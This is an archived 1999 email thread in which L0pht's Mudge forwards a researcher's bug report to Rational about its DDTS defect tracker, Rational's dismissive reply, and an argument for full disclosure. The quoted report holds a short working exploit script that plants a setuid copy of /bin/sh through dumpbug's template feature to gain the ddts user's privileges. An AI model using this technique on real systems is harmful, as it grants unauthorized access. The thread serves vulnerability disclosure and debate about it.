From: Dr. Mudge (mudge@l0pht.com)
To: Submit (submit@hackernews.com)
Subject: Re: L0pht Advisory - Rational Software ClearCase root exploitable race conditions
On Feb 8th I released an advisory from L0pht on Rational
Software's ClearCase product. A sympathetic netizen had a
previous run-in with Rational on security matters and
forwarded some correspondence with Rationals Support staff.
With permission I am forwarding the e-mail that Bakunin had
sent to me.
Please note the tone with which Rational responded to
Bakunin. It will be interesting to see how they respond to the
more recent (and more severe) security hole that the L0pht
just published.
Large companies need to realize that playing the ostrich when
it comes to security will eventually leave them all alone with
their heads in the dirt.
--excerpt from e-mail below--
"Very nice. Do you hack government installations and steal
nuclear missle launch codes too? How about hacking into
Rational's HR database and giving me a raise??"
--end excerpt--
These large companies have "trained" people to make things
more difficult for them in not giving advance notice. Why
should people put up with that sort of response instead of
just sending the problem and exploit to the masses to force
the company in question to fix their problem? It will take
time for companies to win trust and be treated with the
"respect" and advance notice that they are crying for. A long
time if things like this keep up.
cheers,
.mudge
---------- Forwarded message ----------
Date: Mon, 08 Feb 1999 20:47:07 -0500
From: Hammy Davis Jr. (butafuco@mc.net)
To: Dr. Mudge (mudge@L0PHT.COM)
Subject: Re: L0pht Advisory - Rational Software ClearCase
root exploitable race conditions
You may find this interesting. Awhile back I uncovered a bug
in DDTS (Distributed Defect Tracking System, Rationals
bugtracking software companion to ClearCase.) that would allow
anyone to become the DDTS user. I sent what I thought to be a
rather courteous letter, and received the included amusing
reply. It shows at least one rational engineers attitude
towards security.
Becoming the DDTS user enables someone to change the template
files, and could easily lead to a compromise of anyone that
uses it. Oddly enough there is a daemon running with DDTS
privledges that could potentially negate the need for their
setuid applications. My spidey sense tells me that there
are probably a host of other problems with DDTS anyhow.
-Bakunin
At 04:35 PM 8/13/98 -0700, you wrote:
: I wrote the following script to upgrade access as an
: ordinary user to having the uid/gid of DDTS. I assume that
: this isn't desired behaviour. Dumpbug, and it seems any
: other DDTS binary (that is setuid by default), refuses to run
: if not setuid/setgid. May I suggest dropping the setuid/gid
: bit when an alternate config file is specified? Or is there
: some simpler method of curbing this behaviour that I've
: somehow overlooked? Please Advise.
: #!/bin/sh
: cat << EOF > /tmp/ham.tmpl
: Headline:
: /bin/cp /bin/sh /tmp/
: /bin/chmod 6755 /tmp/sh
: EOF
:
: findbug -k software | head -1 | dumpbug -t /tmp/ham.tmpl
:
: /tmp/sh
Very nice. Do you hack government installations and steal nuclear
missle launch codes too? How about hacking into Rational's HR
database and giving me a raise??
If I understand your scenario correctly you are right;
dumpbug is a setuid program (it needs to be, so it can read
certain protected files under ~ddts), and it's running with
effective userid 'ddts' when it runs the template. A
consequence of that is that if external filters (such as
your 'cp' command) are run, they are running with the
effective userid 'ddts' so output files (/tmp/sh in this
case) will be created owned by ddts. Then, doing chmod 6755
on them will in fact set the program to be setuid->ddts.
Then, after dumpbug exits, running the now-setuid program will
effectively transform the user into 'ddts'.
Very nice.
I'll run this by our Engineering group, but this is probably not
something we will fix. DDTS is intended to be easy to
customize and very flexible in terms of what the
customizations can accomplish. Achieving that goal requires
a certain degree of openness of architecture; for example,
the general template-file facility being used with dumpbug
to format the output. DDTS also needs to use UNIX setuid
capability due to its UNIX-file-based nature. Setuid provides
a way to grant access to a resource (for example, a file) while
keeping control over the manner in which the file can be accessed
so as to keep a lid on data security and integrity.
I hadn't thought of it until you illustrated by way of this
simple example, but it seems that those two design goals are
at odds. Making the product flexible and easy to extend by
the use of facilities like templates is a desired feature.
Restricting their functionality by making that section of the
code run as the real user instead of 'ddts' (or in fact
removing the setuid altogether) would negatively impact this
flexibility and is inconsistent with the product's design.
DDTS was never designed to be a totally-secure "vault" of defect
data. It does have its own built-in security model and use
standard UNIX facilities such as filesystem permissions,
NFS, setuid, etc. in an effort to ensure that that built-in
security model cannot be trivially circumvented (by writing
directly to the bug files, for example); however, nobody
ever said it was un-hackable. It's designed as a tool for
*sharing* information, not for *locking* information away
where it cannot be seen.
As I said above, I'll run this by the Engineering team but
I do not expect them to react favorably to the suggestion to
"fix" this as you propose, due to the ways in which such a
"fix" would negatively impact other desirable aspects of the
product. I will get back to you with their response.
Please reply if you have any additional comments.
IMPORTANT: To ensure prompt handling of your request, if
you reply please send to 'support@rational.com' with "Reqid:
s111723" in your Subject field.
[If you happened to have read this far, their engineers
decided not to fix it.]
